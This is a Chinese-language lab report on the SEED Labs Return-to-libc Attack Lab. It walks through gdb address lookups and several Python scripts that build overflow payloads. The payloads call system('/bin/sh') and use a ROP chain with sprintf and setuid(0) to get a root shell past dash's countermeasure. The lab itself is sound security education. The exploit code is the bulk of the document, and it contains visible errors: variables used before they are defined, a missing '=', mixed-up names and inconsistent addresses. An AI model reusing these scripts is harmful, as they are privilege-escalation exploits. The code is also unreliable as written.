本文為 SEED Labs 2.0 - Return-to-libc Attack Lab 的實驗記錄。
實驗原理
Task 1: Finding out the Addresses of libc Functions
關閉位址随機化
修改連結
$ sudo ln -sf /bin/zsh /bin/sh
使用 gdb調試
$ touch badfile
$ make
$ gdb -q retlib
gdb-peda$ break main
gdb-peda$ run
gdb-peda$ p system
gdb-peda$ p exit
gdb-peda$ quit
得到結果
Task 2: Putting the shell string in the memory
建立 MYSHELL 環境變量
編寫程式
prtenv.c
#include<stdlib.h>
#include<stdio.h>
void main(){
char* shell = getenv("MYSHELL");
if (shell)
printf("%x\n", (unsigned int)shell);
}
編譯并運作。然後把上面的程式段加進 retlib.c 再次編譯運作。
由于 prtenv 和 retlib 都是 6 個字母,是以會得到同樣的結果,如下所示。
Task 3: Launching the Attack
根據前面得到的結果,将程式改為
#!/usr/bin/env python3
import sys
# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))
X = Y+8
sh_addr = 0xffffd403 # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')
Y = 28
system_addr = 0xf4e12420 # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')
Z = Y+4
exit_addr = 0xf7e04f80 # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')
# Save content to a file
with open("badfile", "wb") as f:
f.write(content)
其中,Y 的值為
0xffffcd78
− - −
0xffffcd60
+ 4 +4 +4
運作,攻擊成功
Attack variation 1: Is the
exit()
function really necessary? Please try your attack without including
the address of this function in badfile. Run your attack again, report and explain your observations.
根據 task 要求,我們将 exploit.py 中 exit 的部分注釋掉,然後重新運作。
發現可以正常提權,但退出時會崩潰。
Attack variation 2: After your attack is successful, change the file name of retlib to a different name,
making sure that the length of the new file name is different. For example, you can change it to newretlib.
Repeat the attack (without changing the content of badfile). Will your attack succeed or not? If it does
not succeed, explain why.
根據 task 要求,我們先将編譯後的二進制檔案改名為 rrtlib,提權成功
在改為 newretlib,提權不成功
由此可見,這與程式名的長度有關。
Task 4: Defeat Shell’s countermeasure
改回連結
$ sudo ln -sf /bin/dash /bin/sh
為了使攻擊更加友善,我們直接使用 ROP。首先擷取所需要的 libc 函數位址
然後
disas bof
擷取
bof()
函數傳回位址
同時我們還有 retlib 列印出的
bof()
函數 ebp 位置和 MYSHELL 位址,根據這些修改 exploit.py
# !/usr/bin/python3
import sys
def tobytes (value):
return (value).to_bytes(4, byteorder= 'little')
content bytearray(0xaa for i in range (24))
sh_addr = 0xffffd3e3
leaveret = 0x565562ce
sprintf_addr = 0xf7e20e40
setuid_addr = 0xf7e99e30
system_addr = 0xf7e12420
exit_addr = 0xf7e4f80
ebp_bof = 0xffffcd58
# setuid()'s 1st argument
sprintf_argl = ebp_bof + 12 + 5*0x20
# a byte that contains 0x00
sprintf_arg2 = sh_addr + len("/bin/sh")
# Use leaveret to return to the first sprintf()
ebp_next = ebp_bof + 0x20
content += tobytes(ebp_next)
content += tobytes(leaveret)
content += b'A' * (0x20 - 2*4)
# sprintf(sprintf_argl, sprintf_arg2)
for i in range(4):
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(sprintf_addr)
content += tobytes(leaveret)
content += tobytes(sprintf_arg1)
content += tobytes(sprintf_arg2)
content += b'A' * (0x20 - 5*4)
sprintf_argl += 1
# setuid(0)
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(setuid_addr)
content += tobytes(leaveret)
content += tobytes(0xFFFFFFFF)
content += b'A' * (0x20 - 4*4)
# system("/bin/sh")
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(system_addr)
content += tobytes(leaveret)
content += tobytes(sh_addr)
content += b'A' * (0x20 - 4*4)
# exit()
content += tobytes(0xFFFFFFFF)
content += tobytes(exit_addr)
# Write the content to a file
with open("badfile", "wb") as f:
f.write (content)
在上面的程式中,有以下幾點:
- 先調用
,然後再調用setuid(0)
,以繞過 countermeasuresystem("/bin/sh")
- 由于參數的 0 無法複制,是以我們調用四次
來生成 0sprintf()
運作程式,可以看到成功提權
Task 5: Return-Oriented Programming
由于我們上一個 Task 已經使用了 ROP,是以這一個 Task 隻要稍作修改即可。
先擷取
foo()
位址
然後修改 exploit.py
# !/usr/bin/python3
import sys
def tobytes (value):
return (value).to_bytes(4, byteorder= 'little')
content bytearray(0xaa for i in range (24))
sh_addr = 0xffffd3e3
leaveret = 0x565562ce
sprintf_addr = 0xf7e20e40
setuid_addr = 0xf7e99e30
system_addr = 0xf7e12420
exit_addr = 0xf7e4f80
ebp_bof = 0xffffcd58
foo_addr = 0x565562d0 # CHANGED!
# setuid()'s 1st argument
sprintf_argl = ebp_bof + 12 + 5*0x20
# a byte that contains 0x00
sprintf_arg2 = sh_addr + len("/bin/sh")
# Use leaveret to return to the first sprintf()
ebp_next = ebp_bof + 0x20
content += tobytes(ebp_next)
content += tobytes(leaveret)
content += b'A' * (0x20 - 2*4)
# sprintf(sprintf_argl, sprintf_arg2)
for i in range(4):
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(sprintf_addr)
content += tobytes(leaveret)
content += tobytes(sprintf_arg1)
content += tobytes(sprintf_arg2)
content += b'A' * (0x20 - 5*4)
sprintf_argl += 1
# setuid(0)
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(setuid_addr)
content += tobytes(leaveret)
content += tobytes(0xFFFFFFFF)
content += b'A' * (0x20 - 4*4)
for i in range(10): # CHANGED!
ebp += 0x20
content += tobytes(ebp_next)
content += tobytes(foo_addr)
content += tobytes(leveret)
content += b'A'*(0x20-3*4)
# system("/bin/sh")
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(system_addr)
content += tobytes(leaveret)
content += tobytes(sh_addr)
content += b'A' * (0x20 - 4*4)
# exit()
content += tobytes(0xFFFFFFFF)
content += tobytes(exit_addr)
# Write the content to a file
with open("badfile", "wb") as f:
f.write (content)
運作程式,可以看到調用了 10 次
foo()
,并成功提權
實驗總結
實驗總體難度一般。Task1 - 3 依葫蘆畫瓢即可,沒有難度;Task4 難度較大,但我大炮轟蚊子,直接用 ROP 解決了 0 如何輸入的問題;由此一來,Task5 就很容易解決了。